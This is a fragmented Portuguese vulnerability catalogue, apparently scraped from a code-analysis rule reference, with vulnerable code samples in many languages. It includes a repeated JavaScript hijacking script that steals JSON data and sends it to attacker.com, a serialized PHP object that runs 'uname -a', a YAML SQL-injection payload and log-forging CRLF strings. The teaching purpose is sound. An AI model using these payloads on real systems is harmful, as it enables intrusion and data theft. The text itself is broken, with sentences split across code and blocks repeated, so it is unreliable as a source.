permissions := strconv.Atoi(os.Getenv("filePermissions"));
fMode := os.FileMode(permissions)
os.chmod(filePath, fMode);
...
String permissionMask = System.getProperty("defaultFileMask");
Path filePath = userFile.toPath();
...
Set<PosixFilePermission> perms = PosixFilePermissions.fromString(permissionMask);
Files.setPosixFilePermissions(filePath, perms);
...
$rName = $_GET['publicReport'];
chmod("/home/". authenticateUser . "/public_html/" . rName,"0755");
...
publicReport
, como "../../localuser/public_html/.htpasswd
", o aplicativo tornará o arquivo especificado como legível para o invasor.
...
$mask = $CONFIG_TXT['perms'];
chmod($filename,$mask);
...
permissions = os.getenv("filePermissions");
os.chmod(filePath, permissions);
...
...
rName = req['publicReport']
File.chmod("/home/#{authenticatedUser}/public_html/#{rName}", "0755")
...
publicReport
, como "../../localuser/public_html/.htpasswd
", o aplicativo tornará o arquivo especificado como legível para o invasor.
...
mask = config_params['perms']
File.chmod(filename, mask)
...
services-config.xml
especificará um elemento XML "Logging" para descrever vários aspectos desse registro. Parece o seguinte:
<logging>
<target class="flex.messaging.log.ConsoleTarget" level="Debug">
<properties>
<prefix>[BlazeDS]</prefix>
<includeDate>false</includeDate>
<includeTime>false</includeTime>
<includeLevel>false</includeLevel>
<includeCategory>false</includeCategory>
</properties>
<filters>
<pattern>Endpoint.*</pattern>
<pattern>Service.*</pattern>
<pattern>Configuration</pattern>
</filters>
</target>
</logging>
target
usa um atributo opcional denominado level
, que indica o nível de log. Se o nível de depuração for definido com um nível muito detalhado, seu aplicativo pode gravar dados confidenciais no arquivo de log.sprintf()
, FormatMessageW()
ou syslog()
.snprintf()
.
int main(int argc, char **argv){
char buf[128];
...
snprintf(buf,128,argv[1]);
}
%x
, do que a função utiliza como argumentos a serem formatados. (Neste exemplo, a função não usa argumentos a serem formatados.) Ao usar a diretiva de formatação %n
, o invasor pode gravar na pilha, fazendo com que snprintf()
grave no argumento especificado o número de bytes cuja saída foi processada até o momento (em vez de ler um valor do argumento, que é o comportamento pretendido). Uma versão sofisticada desse ataque usará quatro gravações escalonadas para controlar completamente o valor de um apontador na pilha.
printf("%d %d %1$d %1$d\n", 5, 9);
5 9 5 5
Example 1
.syslog()
por vezes utilizada da seguinte maneira:
...
syslog(LOG_ERR, cmdBuf);
...
syslog()
é uma string de formato, qualquer diretiva de formatação incluída em cmdBuf
é interpretada conforme descrito no Example 1
.syslog()
:
...
syslog(LOG_ERR, "%s", cmdBuf);
...
sprintf()
, FormatMessageW()
, syslog()
, NSLog
, ou NSString.stringWithFormat
como um argumento do formato StringNSString.stringWithFormat:
.
int main(int argc, char **argv){
char buf[128];
...
[NSString stringWithFormat:argv[1], argv[2] ];
}
%x
, do que a função utiliza como argumentos a serem formatados. (Neste exemplo, a função não usa argumentos a serem formatados.)
printf("%d %d %1$d %1$d\n", 5, 9);
5 9 5 5
Example 1
.syslog()
por vezes utilizada da seguinte maneira:
...
syslog(LOG_ERR, cmdBuf);
...
syslog()
é uma string de formato, qualquer diretiva de formatação incluída em cmdBuf
é interpretada conforme descrito no Example 1
.syslog()
:Exemplo 4: As classes principais da Apple proporcionam rotas interessantes para explorar as vulnerabilidades do formato String.
...
syslog(LOG_ERR, "%s", cmdBuf);
...
String.stringByAppendingFormat()
por vezes utilizada da seguinte maneira:
...
NSString test = @"Sample Text.";
test = [test stringByAppendingFormat:[MyClass
formatInput:inputControl.text]];
...
stringByAppendingFormat()
:
...
NSString test = @"Sample Text.";
test = [test stringByAppendingFormat:@"%@", [MyClass
formatInput:inputControl.text]];
...
strncpy()
, podem causar vulnerabilidades quando usadas incorretamente. A combinação entre manipulação de memória e suposições equivocadas sobre o tamanho ou a composição de um determinado dado é a causa raiz da maioria dos estouros de buffer.
void wrongNumberArgs(char *s, float f, int d) {
char buf[1024];
sprintf(buf, "Wrong number of %.512s");
}
strncpy()
, podem causar vulnerabilidades quando usadas incorretamente. A combinação entre manipulação de memória e suposições equivocadas sobre o tamanho ou a composição de um determinado dado é a causa raiz da maioria dos estouros de buffer.f
de um flutuante usando um especificador de formato %d
.
void ArgTypeMismatch(float f, int d, char *s, wchar *ws) {
char buf[1024];
sprintf(buf, "Wrong type of %d", f);
...
}
script
.
<script src="http://www.example.com/js/fancyWidget.js"></script>
www.example.com
, esse site dependerá de www.example.com
para apresentar o código correto e não mal-intencionado. Se os invasores puderem comprometer www.example.com
, eles poderão alterar o conteúdo de fancyWidget.js
para corromper a segurança do site. Por exemplo, eles poderiam adicionar código a fancyWidget.js
para roubar dados confidenciais de um usuário.
...
String lang = Request.Form["lang"];
WebClient client = new WebClient();
client.BaseAddress = url;
NameValueCollection myQueryStringCollection = new NameValueCollection();
myQueryStringCollection.Add("q", lang);
client.QueryString = myQueryStringCollection;
Stream data = client.OpenRead(url);
...
lang
como en&poll_id=1
e, em seguida, conseguisse alterar poll_id
à vontade.
...
String lang = request.getParameter("lang");
GetMethod get = new GetMethod("http://www.example.com");
get.setQueryString("lang=" + lang + "&poll_id=" + poll_id);
get.execute();
...
lang
como en&poll_id=1
e, em seguida, fosse capaz de alterar poll_id
à vontade.
<%
...
$id = $_GET["id"];
header("Location: http://www.host.com/election.php?poll_id=" . $id);
...
%>
name=alice
, mas adicionou name=alice&
e, se isso estiver em uso em um servidor que obtém a primeira ocorrência, ele poderá representar alice
para obter mais informações sobre a conta dela.
var object;
var req = new XMLHttpRequest();
req.open("GET", "/object.json",true);
req.onreadystatechange = function () {
if (req.readyState == 4) {
var txt = req.responseText;
object = eval("(" + txt + ")");
req = null;
}
};
req.send(null);
GET /object.json HTTP/1.1
...
Host: www.example.com
Cookie: JSESSIONID=F2rN6HopNzsfXFjHX1c5Ozxi0J5SQZTr4a5YJaSbAiTnRR
HTTP/1.1 200 OK
Cache-control: private
Content-Type: text/javascript; charset=utf-8
...
[{"fname":"Brian", "lname":"Chess", "phone":"6502135600",
"purchases":60000.00, "email":"brian@example.com" },
{"fname":"Katrina", "lname":"O'Neil", "phone":"6502135600",
"purchases":120000.00, "email":"katrina@example.com" },
{"fname":"Jacob", "lname":"West", "phone":"6502135600",
"purchases":45000.00, "email":"jacob@example.com" }]
<script>
// override the constructor used to create all objects so
// that whenever the "email" field is set, the method
// captureObject() will run. Since "email" is the final field,
// this will allow us to steal the whole object.
function Object() {
this.email setter = captureObject;
}
// Send the captured object back to the attacker's Web site
function captureObject(x) {
var objString = "";
for (fld in this) {
objString += fld + ": " + this[fld] + ", ";
}
objString += "email: " + x;
var req = new XMLHttpRequest();
req.open("GET", "http://attacker.com?obj=" +
escape(objString),true);
req.send(null);
}
</script>
<!-- Use a script tag to bring in victim's data -->
<script src="http://www.example.com/object.json"></script>
var object;
var req = new XMLHttpRequest();
req.open("GET", "/object.json",true);
req.onreadystatechange = function () {
if (req.readyState == 4) {
var txt = req.responseText;
object = eval("(" + txt + ")");
req = null;
}
};
req.send(null);
GET /object.json HTTP/1.1
...
Host: www.example.com
Cookie: JSESSIONID=F2rN6HopNzsfXFjHX1c5Ozxi0J5SQZTr4a5YJaSbAiTnRR
HTTP/1.1 200 OK
Cache-control: private
Content-Type: text/JavaScript; charset=utf-8
...
[{"fname":"Brian", "lname":"Chess", "phone":"6502135600",
"purchases":60000.00, "email":"brian@example.com" },
{"fname":"Katrina", "lname":"O'Neil", "phone":"6502135600",
"purchases":120000.00, "email":"katrina@example.com" },
{"fname":"Jacob", "lname":"West", "phone":"6502135600",
"purchases":45000.00, "email":"jacob@example.com" }]
<script>
// override the constructor used to create all objects so
// that whenever the "email" field is set, the method
// captureObject() will run. Since "email" is the final field,
// this will allow us to steal the whole object.
function Object() {
this.email setter = captureObject;
}
// Send the captured object back to the attacker's web site
function captureObject(x) {
var objString = "";
for (fld in this) {
objString += fld + ": " + this[fld] + ", ";
}
objString += "email: " + x;
var req = new XMLHttpRequest();
req.open("GET", "http://attacker.com?obj=" +
escape(objString),true);
req.send(null);
}
</script>
<!-- Use a script tag to bring in victim's data -->
<script src="http://www.example.com/object.json"></script>
var object;
var req = new XMLHttpRequest();
req.open("GET", "/object.json",true);
req.onreadystatechange = function () {
if (req.readyState == 4) {
var txt = req.responseText;
object = eval("(" + txt + ")");
req = null;
}
};
req.send(null);
GET /object.json HTTP/1.1
...
Host: www.example.com
Cookie: JSESSIONID=F2rN6HopNzsfXFjHX1c5Ozxi0J5SQZTr4a5YJaSbAiTnRR
HTTP/1.1 200 OK
Cache-control: private
Content-Type: text/JavaScript; charset=utf-8
...
[{"fname":"Brian", "lname":"Chess", "phone":"6502135600",
"purchases":60000.00, "email":"brian@example.com" },
{"fname":"Katrina", "lname":"O'Neil", "phone":"6502135600",
"purchases":120000.00, "email":"katrina@example.com" },
{"fname":"Jacob", "lname":"West", "phone":"6502135600",
"purchases":45000.00, "email":"jacob@example.com" }]
<script>
// override the constructor used to create all objects so
// that whenever the "email" field is set, the method
// captureObject() will run. Since "email" is the final field,
// this will allow us to steal the whole object.
function Object() {
this.email setter = captureObject;
}
// Send the captured object back to the attacker's web site
function captureObject(x) {
var objString = "";
for (fld in this) {
objString += fld + ": " + this[fld] + ", ";
}
objString += "email: " + x;
var req = new XMLHttpRequest();
req.open("GET", "http://attacker.com?obj=" +
escape(objString),true);
req.send(null);
}
</script>
<!-- Use a script tag to bring in victim's data -->
<script src="http://www.example.com/object.json"></script>
from django.http.response import JsonResponse
...
def handle_upload(request):
response = JsonResponse(sensitive_data, safe=False) # Sensitive data is stored in a list
return response
<script>
e que, portanto, é vulnerável a sequestros de JavaScript [1]. Por padrão, a estrutura utiliza o método POST para enviar solicitações, o que torna difícil gerar uma solicitação a partir de uma tag <script>
mal-intencionada (já que tags <script>
geram apenas solicitações GET). No entanto, o Microsoft AJAX.NET fornece mecanismos para usar solicitações GET. Na verdade, muitos especialistas incentivam os programadores a usarem solicitações GET a fim de aproveitar o armazenamento em cache do navegador e melhorar o desempenho.
var object;
var req = new XMLHttpRequest();
req.open("GET", "/object.json",true);
req.onreadystatechange = function () {
if (req.readyState == 4) {
var txt = req.responseText;
object = eval("(" + txt + ")");
req = null;
}
};
req.send(null);
GET /object.json HTTP/1.1
...
Host: www.example.com
Cookie: JSESSIONID=F2rN6HopNzsfXFjHX1c5Ozxi0J5SQZTr4a5YJaSbAiTnRR
HTTP/1.1 200 OK
Cache-control: private
Content-Type: text/javascript; charset=utf-8
...
[{"fname":"Brian", "lname":"Chess", "phone":"6502135600",
"purchases":60000.00, "email":"brian@example.com" },
{"fname":"Katrina", "lname":"O'Neil", "phone":"6502135600",
"purchases":120000.00, "email":"katrina@example.com" },
{"fname":"Jacob", "lname":"West", "phone":"6502135600",
"purchases":45000.00, "email":"jacob@example.com" }]
<script>
// override the constructor used to create all objects so
// that whenever the "email" field is set, the method
// captureObject() will run. Since "email" is the final field,
// this will allow us to steal the whole object.
function Object() {
this.email setter = captureObject;
}
// Send the captured object back to the attacker's Web site
function captureObject(x) {
var objString = "";
for (fld in this) {
objString += fld + ": " + this[fld] + ", ";
}
objString += "email: " + x;
var req = new XMLHttpRequest();
req.open("GET", "http://attacker.com?obj=" +
escape(objString),true);
req.send(null);
}
</script>
<!-- Use a script tag to bring in victim's data -->
<script src="http://www.example.com/object.json"></script>
<script>
e que, portanto, é vulnerável a sequestros de JavaScript [1]. Por padrão, a estrutura usa o método POST para enviar solicitações, o que torna difícil gerar um pedido a partir de uma etiqueta maliciosa <script>
(uma vez que etiquetas <script>
só geram solicitações GET). No entanto, o GWT fornece mecanismos para a utilização de solicitações GET. Na verdade, muitos especialistas incentivam os programadores a usarem solicitações GET a fim de aproveitar o armazenamento em cache do navegador e melhorar o desempenho.
var object;
var req = new XMLHttpRequest();
req.open("GET", "/object.json",true);
req.onreadystatechange = function () {
if (req.readyState == 4) {
var txt = req.responseText;
object = eval("(" + txt + ")");
req = null;
}
};
req.send(null);
GET /object.json HTTP/1.1
...
Host: www.example.com
Cookie: JSESSIONID=F2rN6HopNzsfXFjHX1c5Ozxi0J5SQZTr4a5YJaSbAiTnRR
HTTP/1.1 200 OK
Cache-control: private
Content-Type: text/javascript; charset=utf-8
...
[{"fname":"Brian", "lname":"Chess", "phone":"6502135600",
"purchases":60000.00, "email":"brian@example.com" },
{"fname":"Katrina", "lname":"O'Neil", "phone":"6502135600",
"purchases":120000.00, "email":"katrina@example.com" },
{"fname":"Jacob", "lname":"West", "phone":"6502135600",
"purchases":45000.00, "email":"jacob@example.com" }]
<script>
// override the constructor used to create all objects so
// that whenever the "email" field is set, the method
// captureObject() will run. Since "email" is the final field,
// this will allow us to steal the whole object.
function Object() {
this.email setter = captureObject;
}
// Send the captured object back to the attacker's Web site
function captureObject(x) {
var objString = "";
for (fld in this) {
objString += fld + ": " + this[fld] + ", ";
}
objString += "email: " + x;
var req = new XMLHttpRequest();
req.open("GET", "http://attacker.com?obj=" +
escape(objString),true);
req.send(null);
}
</script>
<!-- Use a script tag to bring in victim's data -->
<script src="http://www.example.com/object.json"></script>
var object;
var req = new XMLHttpRequest();
req.open("GET", "/object.json",true);
req.onreadystatechange = function () {
if (req.readyState == 4) {
var txt = req.responseText;
object = eval("(" + txt + ")");
req = null;
}
};
req.send(null);
GET /object.json HTTP/1.1
...
Host: www.example.com
Cookie: JSESSIONID=F2rN6HopNzsfXFjHX1c5Ozxi0J5SQZTr4a5YJaSbAiTnRR
HTTP/1.1 200 OK
Cache-control: private
Content-Type: text/JavaScript; charset=utf-8
...
[{"fname":"Brian", "lname":"Chess", "phone":"6502135600",
"purchases":60000.00, "email":"brian@example.com" },
{"fname":"Katrina", "lname":"O'Neil", "phone":"6502135600",
"purchases":120000.00, "email":"katrina@example.com" },
{"fname":"Jacob", "lname":"West", "phone":"6502135600",
"purchases":45000.00, "email":"jacob@example.com" }]
<script>
// override the constructor used to create all objects so
// that whenever the "email" field is set, the method
// captureObject() will run. Since "email" is the final field,
// this will allow us to steal the whole object.
function Object() {
this.email setter = captureObject;
}
// Send the captured object back to the attacker's web site
function captureObject(x) {
var objString = "";
for (fld in this) {
objString += fld + ": " + this[fld] + ", ";
}
objString += "email: " + x;
var req = new XMLHttpRequest();
req.open("GET", "http://attacker.com?obj=" +
escape(objString),true);
req.send(null);
}
</script>
<!-- Use a script tag to bring in victim's data -->
<script src="http://www.example.com/object.json"></script>
returningObjectFlag
como true
na instãncia javax.naming.directory.SearchControls
passada para o método search
ou usando uma função de biblioteca que define este sinalizador em seu nome.
<beans ... >
<authentication-manager>
<ldap-authentication-provider
user-search-filter="(uid={0})"
user-search-base="ou=users,dc=example,dc=org"
group-search-filter="(uniqueMember={0})"
group-search-base="ou=groups,dc=example,dc=org"
group-role-attribute="cn"
role-prefix="ROLE_">
</ldap-authentication-provider>
</authentication-manager>
</beans>
chroot()
deve ser reduzido imediatamente após a conclusão da operação.chroot()
, ele primeiro deverá adquirir o privilégio de root
. Assim que a operação privilegiada for concluída, o programa deverá reduzir o privilégio de root
e retornar ao nível de privilégio do usuário responsável pela invocação.chroot()
para restringir o aplicativo a um subconjunto do sistema de arquivos abaixo de APP_HOME
para impedir que um invasor utilize o programa para obter acesso não autorizado a arquivos localizados em outros lugares. Em seguida, o código abre um arquivo especificado pelo usuário e processa o conteúdo desse arquivo.
...
chroot(APP_HOME);
chdir("/");
FILE* data = fopen(argv[1], "r+");
...
setuid()
com um valor diferente de zero significa que o aplicativo continua a operar com privilégios de root
desnecessários. Qualquer exploração bem-sucedida realizada por um invasor contra o aplicativo pode agora resultar em um ataque de escalonamento de privilégios, já que qualquer operação mal-intencionada será executada com os privilégios do superusuário. Se o aplicativo reduzir o nível de privilégio de um usuário não root
, o potencial de danos será substancialmente reduzido.
...
DATA log_msg TYPE bal_s_msg.
val = request->get_form_field( 'val' ).
log_msg-msgid = 'XY'.
log_msg-msgty = 'E'.
log_msg-msgno = '123'.
log_msg-msgv1 = 'VAL: '.
log_msg-msgv2 = val.
CALL FUNCTION 'BAL_LOG_MSG_ADD'
EXPORTING
I_S_MSG = log_msg
EXCEPTIONS
LOG_NOT_FOUND = 1
MSG_INCONSISTENT = 2
LOG_IS_FULL = 3
OTHERS = 4.
...
FOO
" para val
, a seguinte entrada será registrada:
XY E 123 VAL: FOO
FOO XY E 124 VAL: BAR
", a seguinte entrada será registrada:
XY E 123 VAL: FOO XY E 124 VAL: BAR
var params:Object = LoaderInfo(this.root.loaderInfo).parameters;
var val:String = String(params["username"]);
var value:Number = parseInt(val);
if (value == Number.NaN) {
trace("Failed to parse val = " + val);
}
twenty-one
" para val
, a seguinte entrada será registrada:
Failed to parse val=twenty-one
twenty-one%0a%0aINFO:+User+logged+out%3dbadguy
", a seguinte entrada será registrada:
Failed to parse val=twenty-one
User logged out=badguy
...
string val = (string)Session["val"];
try {
int value = Int32.Parse(val);
}
catch (FormatException fe) {
log.Info("Failed to parse val= " + val);
}
...
twenty-one
" para val
, a seguinte entrada será registrada:
INFO: Failed to parse val=twenty-one
twenty-one%0a%0aINFO:+User+logged+out%3dbadguy
", a seguinte entrada será registrada:
INFO: Failed to parse val=twenty-one
INFO: User logged out=badguy
long value = strtol(val, &endPtr, 10);
if (*endPtr != '\0')
syslog(LOG_INFO,"Illegal value = %s",val);
...
twenty-one
" para val
, a seguinte entrada será registrada:
Illegal value=twenty-one
twenty-one\n\nINFO: User logged out=evil
", a seguinte entrada será registrada:
INFO: Illegal value=twenty-one
INFO: User logged out=evil
...
01 LOGAREA.
05 VALHEADER PIC X(50) VALUE 'VAL: '.
05 VAL PIC X(50).
...
EXEC CICS
WEB READ
FORMFIELD(NAME)
VALUE(VAL)
...
END-EXEC.
EXEC DLI
LOG
FROM(LOGAREA)
LENGTH(50)
END-EXEC.
...
FOO
" para VAL
, a seguinte entrada será registrada:
VAL: FOO
FOO VAL: BAR
", a seguinte entrada será registrada:
VAL: FOO VAL: BAR
<cflog file="app_log" application="No" Thread="No"
text="Failed to parse val="#Form.val#">
twenty-one
" para val
, a seguinte entrada será registrada:
"Information",,"02/28/01","14:50:37",,"Failed to parse val=twenty-one"
twenty-one%0a%0a%22Information%22%2C%2C%2202/28/01%22%2C%2214:53:40%22%2C%2C%22User%20logged%20out:%20badguy%22
", a seguinte entrada será registrada:
"Information",,"02/28/01","14:50:37",,"Failed to parse val=twenty-one"
"Information",,"02/28/01","14:53:40",,"User logged out: badguy"
func someHandler(w http.ResponseWriter, r *http.Request){
r.parseForm()
name := r.FormValue("name")
logout := r.FormValue("logout")
...
if (logout){
...
} else {
log.Printf("Attempt to log out: name: %s logout: %s", name, logout)
}
}
twenty-one
" para logout
e ele puder criar um usuário com o nome "admin
", a seguinte entrada será armazenada em log:
Attempt to log out: name: admin logout: twenty-one
admin+logout:+1+++++++++++++++++++++++
", a seguinte entrada será armazenada em log:
Attempt to log out: name: admin logout: 1 logout: twenty-one
...
String val = request.getParameter("val");
try {
int value = Integer.parseInt(val);
}
catch (NumberFormatException nfe) {
log.info("Failed to parse val = " + val);
}
...
twenty-one
" para val
, a seguinte entrada será registrada:
INFO: Failed to parse val=twenty-one
twenty-one%0a%0aINFO:+User+logged+out%3dbadguy
", a seguinte entrada será registrada:
INFO: Failed to parse val=twenty-one
INFO: User logged out=badguy
Example 1
à plataforma Android.
...
String val = this.getIntent().getExtras().getString("val");
try {
int value = Integer.parseInt();
}
catch (NumberFormatException nfe) {
Log.e(TAG, "Failed to parse val = " + val);
}
...
var cp = require('child_process');
var http = require('http');
var url = require('url');
function listener(request, response){
var val = url.parse(request.url, true)['query']['val'];
if (isNaN(val)){
console.log("INFO: Failed to parse val = " + val);
}
...
}
...
http.createServer(listener).listen(8080);
...
twenty-one
" para val
, a seguinte entrada será registrada:
INFO: Failed to parse val = twenty-one
twenty-one%0a%0aINFO:+User+logged+out%3dbadguy
", a seguinte entrada será registrada:
INFO: Failed to parse val=twenty-one
INFO: User logged out=badguy
long value = strtol(val, &endPtr, 10);
if (*endPtr != '\0')
NSLog("Illegal value = %s",val);
...
twenty-one
" para val
, a seguinte entrada será registrada:
INFO: Illegal value=twenty-one
twenty-one\n\nINFO: User logged out=evil
", a seguinte entrada será registrada:
INFO: Illegal value=twenty-one
INFO: User logged out=evil
<?php
$name =$_GET['name'];
...
$logout =$_GET['logout'];
if(is_numeric($logout))
{
...
}
else
{
trigger_error("Attempt to log out: name: $name logout: $val");
}
?>
twenty-one
" para logout
e ele puder criar um usuário com o nome "admin
", a seguinte entrada será armazenada em log:
PHP Notice: Attempt to log out: name: admin logout: twenty-one
admin+logout:+1+++++++++++++++++++++++
", a seguinte entrada será armazenada em log:
PHP Notice: Attempt to log out: name: admin logout: 1 logout: twenty-one
name = req.field('name')
...
logout = req.field('logout')
if (logout):
...
else:
logger.error("Attempt to log out: name: %s logout: %s" % (name,logout))
twenty-one
" para logout
e ele puder criar um usuário com o nome "admin
", a seguinte entrada será armazenada em log:
Attempt to log out: name: admin logout: twenty-one
admin+logout:+1+++++++++++++++++++++++
", a seguinte entrada será armazenada em log:
Attempt to log out: name: admin logout: 1 logout: twenty-one
...
val = req['val']
unless val.respond_to?(:to_int)
logger.info("Failed to parse val")
logger.info(val)
end
...
twenty-one
" para val
, a seguinte entrada será registrada:
INFO: Failed to parse val
INFO: twenty-one
twenty-one%0a%0aINFO:+User+logged+out%3dbadguy
", a seguinte entrada será registrada:
INFO: Failed to parse val
INFO: twenty-one
INFO: User logged out=badguy
...
let num = Int(param)
if num == nil {
NSLog("Illegal value = %@", param)
}
...
twenty-one
" para val
, a seguinte entrada será registrada:
INFO: Illegal value = twenty-one
twenty-one\n\nINFO: User logged out=evil
", a seguinte entrada será registrada:
INFO: Illegal value=twenty-one
INFO: User logged out=evil
...
Dim Val As Variant
Dim Value As Integer
Set Val = Request.Form("val")
If IsNumeric(Val) Then
Set Value = Val
Else
App.EventLog "Failed to parse val=" & Val, 1
End If
...
twenty-one
" para val
, a seguinte entrada será registrada:
Failed to parse val=twenty-one
twenty-one%0a%0a+User+logged+out%3dbadguy
", a seguinte entrada será registrada:
Failed to parse val=twenty-one
User logged out=badguy
CREATE
que é enviado ao servidor IMAP. Um invasor pode usar esse parâmetro para modificar o comando enviado ao servidor e injetar novos comandos usando caracteres CRLF.
...
final String foldername = request.getParameter("folder");
IMAPFolder folder = (IMAPFolder) store.getFolder("INBOX");
...
folder.doCommand(new IMAPFolder.ProtocolCommand() {
@Override
public Object doCommand(IMAPProtocol imapProtocol) throws ProtocolException {
try {
imapProtocol.simpleCommand("CREATE " + foldername, null);
} catch (Exception e) {
// Handle Exception
}
return null;
}
});
...
USER
e PASS
que é enviado ao servidor POP3. Um invasor pode usar esse parâmetro para modificar o comando enviado ao servidor e injetar novos comandos usando caracteres CRLF.
...
String username = request.getParameter("username");
String password = request.getParameter("password");
...
POP3SClient pop3 = new POP3SClient(proto, false);
pop3.login(username, password)
...
VRFY
que é enviado para o servidor SMTP. Um invasor pode usar esse parâmetro para modificar o comando enviado ao servidor e injetar novos comandos usando caracteres CRLF.
...
c, err := smtp.Dial(x)
if err != nil {
log.Fatal(err)
}
user := request.FormValue("USER")
c.Verify(user)
...
VRFY
que é enviado ao servidor SMTP. Um invasor pode usar esse parâmetro para modificar o comando enviado ao servidor e injetar novos comandos usando caracteres CRLF.
...
String user = request.getParameter("user");
SMTPSSLTransport transport = new SMTPSSLTransport(session,new URLName(Utilities.getProperty("smtp.server")));
transport.connect(Utilities.getProperty("smtp.server"), username, password);
transport.simpleCommand("VRFY " + user);
...
VRFY
que é enviado ao servidor SMTP. Um invasor pode usar esse parâmetro para modificar o comando enviado ao servidor e injetar novos comandos usando caracteres CRLF.
...
user = request.GET['user']
session = smtplib.SMTP(smtp_server, smtp_tls_port)
session.ehlo()
session.starttls()
session.login(username, password)
session.docmd("VRFY", user)
...
null
.Item
é null
antes de chamar a função membro Equals()
, causando possivelmente um cancelamento de referência null
string itemName = request.Item(ITEM_NAME);
if (itemName.Equals(IMPORTANT_ITEM)) {
...
}
...
null
."null
.malloc()
.
buf = (char*) malloc(req_size);
strncpy(buf, xfer, req_size);
malloc()
falhou por que req_size
era grande demais ou por que muitas solicitações estavam sendo tratadas ao mesmo tempo? Ou ela foi causada por um vazamento de memória que se acumulou com o passar do tempo? Sem realizar o tratamento do erro, não há como saber.null
.getParameter()
é null
antes de chamar a função membro compareTo()
, causando possivelmente um cancelamento de referência null
.Exemplo 2:. O código a seguir mostra uma propriedade do sistema que é definida como
String itemName = request.getParameter(ITEM_NAME);
if (itemName.compareTo(IMPORTANT_ITEM)) {
...
}
...
null
e, mais tarde, tem sua referência desfeita por um programador, que erroneamente assume que ela sempre será definida.
System.clearProperty("os.name");
...
String os = System.getProperty("os.name");
if (os.equalsIgnoreCase("Windows 95") )
System.out.println("Not supported");
null
."NullException
.cmd
" definida. Se um invasor puder controlar o ambiente do programa de forma que "cmd
" não seja definido, o programa lançará uma exceção de ponteiro nulo quando tentar chamar o método Trim()
.
string cmd = null;
...
cmd = Environment.GetEnvironmentVariable("cmd");
cmd = cmd.Trim();
null
antes que seja verificado se ele é realmente null
. Erros de desreferência após a verificação ocorrem quando um programa faz uma verificação explícita em busca de valores null
, mas prossegue para desreferenciar o ponteiro quando se sabe que ele é null
. Erros desse tipo são frequentemente o resultado de um erro de digitação ou de uma desatenção do programador. Um erro de desreferência após o armazenamento ocorre quando um programa define explicitamente um ponteiro como null
e o desreferencia mais tarde. Esse erro é frequentemente o resultado de um programador inicializar uma variável como null
quando ela é declarada.ptr
não seja NULL
. Essa suposição se torna explícita quando o programador desreferencia o ponteiro. Mais tarde, essa suposição é contrariada quando o programador verifica ptr
contra NULL
. Se a variável ptr
puder ser NULL
quando for verificada na instrução if
, ela também poderá ser NULL
quando desreferenciada, podendo causar uma falha de segmentação.Exemplo 2: No código a seguir, o programador confirma que a variável
ptr->field = val;
...
if (ptr != NULL) {
...
}
ptr
é NULL
e depois a desreferencia erroneamente. Se a variável ptr
for NULL
quando for verificada na instrução if
, ocorrerá uma desreferência null
, causando assim uma falha de segmentação.Exemplo 3: No código a seguir, o programador se esquece de que a cadeia de caracteres
if (ptr == null) {
ptr->field = val;
...
}
'\0'
é, na verdade, 0 ou NULL
, desreferenciando assim um ponteiro nulo e provocando uma falha de segmentação.Exemplo 4: No código a seguir, o programador define explicitamente a variável
if (ptr == '\0') {
*ptr = val;
...
}
ptr
como NULL
. Mais tarde, o programador desreferencia ptr
antes de verificar o objeto em busca de um valor null
.
*ptr = NULL;
...
ptr->field = val;
...
}
NullPointerException
.cmd
" definida. Se um invasor puder controlar o ambiente do programa de forma que "cmd
" não seja definido, o programa lançará uma exceção de ponteiro nulo quando tentar chamar o método trim()
.
String val = null;
...
cmd = System.getProperty("cmd");
if (cmd)
val = util.translateCommand(cmd);
...
cmd = val.trim();
unserialize()
. Os invasores poderiam passar cadeias de caracteres serializadas criadas especialmente para uma chamada unserialize()
vulnerável, resultando em uma injeção de objeto(s) PHP arbitrário(s) no escopo do aplicativo. A gravidade da vulnerabilidade depende das classes disponíveis no escopo de aplicativo. As classes que estão implementando método de mágica PHP, como __wakeup
ou __destruct
, serão interessantes para os invasores, já que eles serão capazes de executar o código nesses métodos.__destruct()
e executando um comando do sistema definido como uma propriedade de classe. Há também uma chamada insegura para unserialize()
com dados fornecidos pelo usuário.
...
class SomeAvailableClass {
public $command=null;
public function __destruct() {
system($this->command);
}
}
...
$user = unserialize($_GET['user']);
...
Example 1
, o aplicativo pode estar esperando um objeto User
serializado, mas um invasor pode na verdade fornecer uma versão serializada de SomeAvailableClass
com um valor predefinido para sua propriedade command
:
GET REQUEST: http://server/page.php?user=O:18:"SomeAvailableClass":1:{s:7:"command";s:8:"uname -a";}
$user
e ele executará o comando fornecido pelo invasor.unserialize()
vulnerável está sendo chamado usando uma técnica conhecida como "Programação orientada à propriedade", que foi introduzida por Stefan Esser durante a conferência BlackHat de 2010. Essa técnica permite que um invasor reutilize o código existente para criar a sua própria carga de trabalho.YAML.load()
. Os invasores podem transmitir cadeias especialmente projetadas para uma chamada vulnerável YAML.load()
, resultando na injeção de objetos arbitrários Ruby no programa, desde que a classe seja carregada no aplicativo no momento da desserialização. Isso pode permitir uma vasta gama de oportunidades de ataque, como ignorar a lógica de validação para encontrar vulnerabilidades de cross-site scripting, permitis a SQL Injection por meio do que parecem ser valores codificados ou mesmo uma execução de código completo.YAML.load()
com dados fornecidos pelo usuário.
...
class Transaction
attr_accessor :id
def initialize(num=nil)
@id = num.is_a?(Numeric) ? num : nil
end
def print_details
unless @id.nil?
print $conn.query("SELECT * FROM transactions WHERE id=#{@id}")
end
end
end
...
user = YAML.load(params[:user]);
user.print_details
...
Example 1
, o aplicativo pode estar esperando um objeto User
serializado, o qual também tem uma função chamada print_details
, mas um invasor pode de fato fornecer uma versão serializada de um objeto Transaction
com um valor predefinido para o respectivo atributo @id
. Uma solicitação como essa pode, portanto, permitir que se ignore a verificação de validação que tenta se certificar de que @id
seja um valor numérico
GET REQUEST: http://server/page?user=!ruby%2Fobject%3ATransaction%0Aid%3A4%20or%205%3D5%0A
user
é atribuído !ruby/object:Transaction\nid:4 or 5=5\n
.Transaction
, definindo como @id
para "4 or 5=5"
. Quando o desenvolvedor acreditar que está chamando User#print_details()
, na verdade estará chamando Transaction#print_details()
e a interpolação de cadeia do Ruby significará que a consulta SQL será alterada para executar a consulta: SELECT * FROM transactions WHERE id=4 or 5=5
. Devido à cláusula extra adicionada, a consulta é avaliada como true
e retornará tudo dentro da tabela transactions
em vez da única linha pretendida pelo desenvolvedor.YAML.load()
vulnerável está sendo chamado usando uma técnica conhecida como "Programação orientada à propriedade", que foi introduzida por Stefan Esser durante a conferência BlackHat de 2010. Essa técnica permite que um invasor reutilize o código existente para criar a sua própria carga de trabalho.